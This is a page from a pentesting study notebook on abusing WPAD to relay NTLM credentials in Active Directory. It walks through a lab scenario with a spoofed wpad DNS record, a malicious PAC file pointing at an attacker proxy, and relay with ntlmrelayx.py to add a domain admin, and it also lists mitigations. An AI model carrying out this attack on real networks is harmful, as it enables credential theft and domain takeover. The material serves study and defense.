Pentesting Quick Reference OSCP and Beyond
  • Basic Tools & Techniques
  • Linux Basics
  • Windows Basics
  • Shells
  • Uploading Shells/ Transferring Files
  • FootPrinting
  • Host Discovery
  • Scanning
  • Vulnerability assessment
  • Metasploit and Meterpreter
    • Payloads
  • Brute Forcing/ Password Cracking
    • Attacking LSASS Passwords
    • Credentials Hunting Windows
    • Credential Hunting in Linux
    • Passwd, Shadow & Opasswd
    • Pass the Hash (PtH)
    • Protected Files
    • Protected Archives
    • Password Policies
    • Password Managers
    • Breached Credentials
  • Linux Remote Management Protocols
  • Windows Remote Management Protocols
  • Port 20/21 - FTP Pentesting
  • Port 23 Telnet
  • Port 25 - SMTP
  • IMAP/ POP3
  • Port 53 DNS
  • Port 445 - SMB
  • Port 111 -RPC Bind
  • Port 135 - RPC
  • Port 137 NetBios
  • Port 161 SNMP
  • Port 1433 - MSSQL
  • Port 1521 Oracle TNS
  • Port 1833 - MQTT
  • Port 2049 - NFS
  • Port 3306 MySQL
  • Port 3389 - RDP
  • Port 5985 - Winrm
  • Port 632 (UDP) IPMI
  • Redis (6379)
  • Port 10000 Webmin
  • Privilege Escalation
    • Windows Priv esc
    • Linux Priv esc
  • Active Directory
    • AD Basics
      • AD Management Basics
    • Initial Enumeration of AD
      • Enumerating AD Users
    • Password Spraying
      • Enumerating & Retrieving Password Policies
      • Password Spraying - Making a Target User List
      • Internal Password Spraying - from Linux
      • Internal Password Spraying - from Windows
      • Enumerating Security Controls
    • LLMNR Poisoning
    • SMB/ NTLM Relay Attacks
    • IPv6 Attacks
      • IPV6 DNS takeover
      • WPAD
    • Passback Attacks
    • AD Shell
    • AD Enumeration
      • Credentialed Enumeration - from Linux
      • Credentialed Enumeration - from Windows
      • Living off the Land
      • BloodHound
      • Plumhound
      • Bloodhound CE
      • ldapdomaindump
      • PingCastle
    • Post Compromise
      • Pass Attacks
        • Pass the Hash
        • Pass the Ticket
          • Pass the Ticket (PtT) from Windows
          • Pass the Ticket (PtT) from Linux
    • AS-REP roasting
    • Kerberosting
      • Kerberos "Double Hop" Problem
    • Access Control List (ACL) Abuse Primer
      • ACL Enumeration
      • ACL Abuse Tactics
      • DCSync
        • DCSync Example Forest HTB
    • Privilege Escaltion
    • Bleeding Edge Vulnerabilities
    • Miscellaneous Misconfigurations
    • Attacking Active Directory & NTDS.dit 1
    • Domain Trusts
      • Attacking Domain Trusts - Child -> Parent Trusts - from Windows
      • Attacking Domain Trusts - Child -> Parent Trusts - from Linux
      • Attacking Domain Trusts - Cross-Forest Trust Abuse - from Windows
      • Attacking Domain Trusts - Cross-Forest Trust Abuse - from Linux
    • Hardening Active Directory
    • Additional AD Auditing Techniques
    • HTB AD Enumeration & Attacks - Skills Assessment Part I
  • Web Pentesting
    • Subdomains, directories and Vhost listing
    • Command Injection
    • XSS
    • SQL Injection
    • Authentication Bypass
  • Cryptography
  • More Resources
  • Forensics
  • IoT Security
  • API Security
  • Binary Exploitation
    • Assembly Cheatsheat for Hackers
    • Malware Analysis
      • Basic Static Malware Analysis
  • Boxes/ Machines
    • Try Hack Me
      • Vulnversity
      • Basic Pentesting
      • Kenobi
      • Steel Mountain
    • Vulnhub
      • Tiki
    • HTB
      • Beep
      • Active
      • Forest
      • Devel
    • Metasploitable 2
    • PWN.COLLEGE Talking Web
    • PWN COLLGE Web Hacking
  • Private Challenges
    • Pwn
    • Forensics
  • Misc tools
    • NetExec
  • SOC Analyst Resources
  • OSCP Tips and Misc
  • Mobile Hacking
  • Buffer Overflow
  • Wordpress
  • Web3 and Blockchain Security
  • WIFI Hacking
    • WPS Hacking
    • Misc Tools
Powered by GitBook
On this page
  • 🏢 Active Directory Scenario: WPAD Abuse + NTLM Relay
  • 🧠 What Happens Normally with WPAD in AD?
  • 💀 What Happens When an Attacker Exploits This?
  • 💣 Attacker Steps (NTLM Relay via WPAD in AD):
  • 🛡️ Defense for AD Admins:
  • 🎯 Summary:
  1. Active Directory
  2. IPv6 Attacks

WPAD

WPAD (Web Proxy Auto-Discovery Protocol) is a protocol used by devices (especially Windows clients) to automatically detect proxy server settings on a network. It allows web browsers and other clients to locate a proxy configuration file (usually a PAC file) without user interaction.


🔧 How WPAD Works:

  1. Client joins a network and wants to access the internet.

  2. It tries to discover a proxy by looking for a PAC file at:

    arduinoCopyEdithttp://wpad.domain.com/wpad.dat
  3. The client can find wpad.dat using:

    • DHCP Option 252 (if configured)

    • DNS — the most common method.

If successful, the client configures itself to use the proxy defined in that file.


💀 Why Is WPAD Dangerous?

Attackers abuse WPAD for credential theft and NTLM relay attacks:

  • If wpad.domain.com is not registered, an attacker can:

    • Register it on a public DNS (for external attacks).

    • Set up a fake DNS server or poison local DNS (for internal attacks).

  • The attacker sets up a malicious proxy server and hosts a fake wpad.dat.

  • Windows clients automatically authenticate to the proxy using NTLM.

  • This allows the attacker to capture or relay NTLM credentials (e.g., using ntlmrelayx.py).


🔥 Example Attack Flow:

  1. Attacker sets up fake DNS that resolves wpad.company.local to their IP.

  2. Victim connects and fetches wpad.dat.

  3. Victim’s system tries to authenticate via NTLM to the proxy.

  4. Attacker captures and relays the authentication to a target (e.g., LDAP server).

  5. If successful, attacker can escalate privileges or extract sensitive info.


✅ Mitigations:

  • Disable WPAD on endpoints.

  • Block WPAD DNS lookups for unregistered subdomains.

  • Configure Group Policy to prevent automatic proxy detection.

  • Enforce LDAP/SMB signing and disable NTLM where possible.

🏢 Active Directory Scenario: WPAD Abuse + NTLM Relay

Imagine you're on a Windows domain (AD) network — say, marvel.local.

👥 Characters in the Scene:

Role
Hostname
IP

Domain Controller (DC)

dc.marvel.local

192.168.138.136

Victim (domain-joined client)

victim.marvel.local

DHCP-assigned

Attacker

attacker.kali

Fake DNS & WPAD server


🧠 What Happens Normally with WPAD in AD?

  • A Windows client, like victim.marvel.local, tries to auto-discover proxy settings.

  • It sends a DNS request:

    nginxCopyEditGET http://wpad.marvel.local/wpad.dat
  • If wpad.marvel.local doesn’t exist, it fails silently.

BUT...


💀 What Happens When an Attacker Exploits This?

🔓 Misconfig 1: No wpad.marvel.local exists in DNS

🔓 Misconfig 2: Clients are allowed to auto-authenticate using NTLM

🔓 Misconfig 3: Services like LDAPS or SMB don’t require signing


💣 Attacker Steps (NTLM Relay via WPAD in AD):

  1. Attacker sets up fake DNS or IPv6 takeover that resolves wpad.marvel.local to their own IP.

  2. Victim’s Windows machine auto-requests the PAC file from:

    arduinoCopyEdithttp://wpad.marvel.local/wpad.dat
  3. Attacker’s server responds with a malicious PAC file that says:

    javascriptCopyEditfunction FindProxyForURL(url, host) {
        return "PROXY attacker-ip:3128";
    }
  4. Victim’s browser or system sends traffic through attacker’s proxy.

  5. Windows auto-authenticates to this proxy using NTLM.

  6. Attacker captures the NTLM handshake.

  7. Attacker relays NTLM credentials to the domain controller (dc.marvel.local) over LDAP or SMB using ntlmrelayx.py.


🔓 If the DC doesn’t require LDAP signing:

  • Attacker can:

    • Dump user info

    • Add a new domain admin

    • Enable RDP on any machine

    • Persist in AD


🛡️ Defense for AD Admins:

Defense
Why

Create a DNS A/AAAA record for wpad.marvel.local

Prevent attackers from registering or spoofing it.

Disable auto proxy discovery via GPO

Prevents clients from trying WPAD at all.

Enforce LDAP and SMB signing

Blocks NTLM relay.

Disable NTLM if possible

Eliminates the core of the attack.

Enable Extended Protection for Authentication (EPA)

Requires server identity verification.


🎯 Summary:

Component
Role in Attack

WPAD

Used to trick Windows into auto-authenticating

NTLM

Authentication protocol that can be relayed

ntlmrelayx.py

Tool to catch and relay the NTLM handshake

LDAP (LDAPS)

Target service that gets impersonated authentication

AD

The final victim of relayed credentials

PreviousIPV6 DNS takeoverNextPassback Attacks

Last updated 6 days ago